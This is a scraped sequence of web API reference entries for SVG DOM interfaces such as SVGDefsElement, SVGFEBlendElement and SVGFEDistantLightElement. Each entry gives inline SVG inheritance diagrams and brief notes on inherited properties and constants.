<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 ...
...111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" ...
...text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/d...
...ocs/web/api/svgcursorelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcursorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement, and implements properties from svgurireference.
SVGDefsElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x...
...2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text...
...></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y=...
..."65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgdefselement" target="_top"><rect x="121" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgdefselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: ...
SVGDescElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x...
...2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text...
...></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgdescelement" target="_top"><rect x="341" y="65"...
... width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgdescelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggeometryelement.
SVGFEBlendElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1=...
..."25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element...
...</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeblendelement" target="_top"><rect x="31...
...1" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeblendelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_feblend_mode_unknown 0 the type is not one of predefined types.
SVGFEColorMatrixElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line ...
...x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mid...
...dle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfecolormatrixelement" target=...
..."_top"><rect x="251" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="366" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfecolormatrixelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_fecolormatrix_type_unknown 0 the type is not one of predefined types.
SVGFEComponentTransferElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="n...
...one"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-b...
...aseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfecomponenttransf...
...erelement" target="_top"><rect x="191" y="65" width="290" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="336" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfecomponenttransferelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and implements properties of svgfilterprimitivestandardattributes.
SVGFECompositeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="...
...121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...>element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfecompositeelement" target="_top"...
...><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfecompositeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_fecomposite_operator_unknown 0 the type is not one of predefined types.
SVGFEConvolveMatrixElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/>...
...<line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baselin...
...e="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeconvolvematrixelement...
..." target="_top"><rect x="221" y="65" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="351" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeconvolvematrixelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_edgemode_unknown 0 the type is not one of predefined types.
SVGFEDiffuseLightingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"...
.../><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-basel...
...ine="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfediffuselightingelem...
...ent" target="_top"><rect x="211" y="65" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfediffuselightingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEDisplacementMapElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"...
.../><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-basel...
...ine="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfedisplacementmapelem...
...ent" target="_top"><rect x="211" y="65" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfedisplacementmapelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_channel_unknown 0 the type is not one of predefined types.
SVGFEDistantLightElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><lin...
...e x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="m...
...iddle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfedistantlightelement" targ...
...et="_top"><rect x="241" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="361" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfedistantlightelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGFEDropShadowElement - Web APIs
